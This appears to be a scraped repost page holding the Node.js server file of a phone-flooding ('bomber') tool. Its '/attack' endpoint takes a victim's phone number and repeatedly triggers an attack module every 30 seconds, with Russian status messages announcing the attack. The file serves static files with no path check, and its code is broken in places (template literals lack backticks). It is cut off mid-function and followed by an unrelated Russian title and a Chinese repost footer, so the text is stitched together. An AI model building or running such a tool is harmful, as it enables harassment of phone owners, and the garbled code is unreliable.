index.js:

const http = require('http'); const url = require('url'); const fs = require('fs'); const path = require('path'); const service = require("./core.js"); const querystring = require('querystring'); const current_attacks = []; const list_attacks = [];

const server = http.createServer((req, res) => { const parsedUrl = url.parse(req.url); let pathname = .${parsedUrl.pathname}; const ext = path.parse(pathname).ext; if (ext === '.html') { fs.readFile(pathname, (err, data) => { if (err) { res.writeHead(404, {'Content-Type': 'text/html'}); return res.end(Error loading ${pathname}); } res.writeHead(200, {'Content-Type': 'text/html'}); res.end(data); }); } else if (ext === '.js') { fs.readFile(pathname, (err, data) => { if (err) { res.writeHead(404, {'Content-Type': 'text/javascript'}); return res.end(Error loading ${pathname}); } res.writeHead(200, {'Content-Type': 'text/javascript'}); res.end(data); }); } else if (ext === '.css') { fs.readFile(pathname, (err, data) => { if (err) { res.writeHead(404, {'Content-Type': 'text/css'}); return res.end(Error loading ${pathname}); } res.writeHead(200, {'Content-Type': 'text/css'}); res.end(data); }); } else if (ext === '.png') { fs.readFile(pathname, (err, data) => { if (err) { res.writeHead(404, {'Content-Type': 'image/png'}); return res.end(Error loading ${pathname}); } res.writeHead(200, {'Content-Type': 'image/png'}); res.end(data); }); } else if (parsedUrl.pathname === '/attack') { const query = querystring.parse(parsedUrl.query); if (!Number(query.number) || query.number.toString().length < 11) { return res.end(JSON.stringify({ 'success': false, 'text': 'Номер телефона не указан либо не является корректным' })); } if (!Number(query.loops) || !query.loops) { return res.end(JSON.stringify({ 'success': false, 'text': 'Параментр loop отсутсвует либо не является корректным' })); } else { count = 0; list_attacks.push({ number: Number(query.number), loop: Number(query.loops), startedAt: Date.now() }); service.start(query.number); current_attacks[query.number] = setInterval(async function () { service.start(query.number); count++; if (count == query.loops - 1) { clearInterval(current_attacks[query.number]); for (let key in list_attacks) { if (list_attacks[key].number == query.number) { list_attacks.splice(key, 1); } } } }, 30000); return res.end(JSON.stringify({ 'success': true, 'text': Атака на номер +${query.number} успешно запущена })); } } else if (parsedUrl.pathname === '/stop') { const query = querystring.parse(parsedUrl.query); if (query.number) { if (current_attacks[query.number]) { clearInterval(current_attacks[query.number]); for (let key in list_attacks) { if (list_attacks[key].number == query.number) { list_attacks.splice(key, 1); } } res.end(JSON.stringify({ success: true, text: Атака на номер +${query.number} успешно прекращена })); } else { return res.end(JSON.stringify({ success: false, text: Нет активных атак по номеру +${query.number} })); } } else { return res.end(JSON.stringify({ success: false, text: 'Параментр number не указал либо не является корректным' })); } } else if (parsedUrl.pathname === '/list') { if (list_attacks.length === 0) { result = { success: false, text: 'Список активных атак пуст' } return res.end(JSON.stringify(result)); } else { result = { success: true, result: list_attacks } return res.end(JSON.stringify(result)); } } else { res.writeHead(404, {'Content-Type': 'text/html'}); res.end(Error loading ${pathname}); } });

const port = process.argv[2] || 3000; server.listen(port, () => { console.log([INFO] Server started on ${port}); require('child_process').exec(open http://localhost:${port}/); });

module.exports.mailGen = function () { let domains = ['@mail.ru', '@yandex.ru', '@gmail.com', '@rambler.ru'] let fa

Как избавиться от зависимостей от сторонних библиотек в JavaScript

原文地址: https://www.cveoy.top/t/topic/ndhU 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录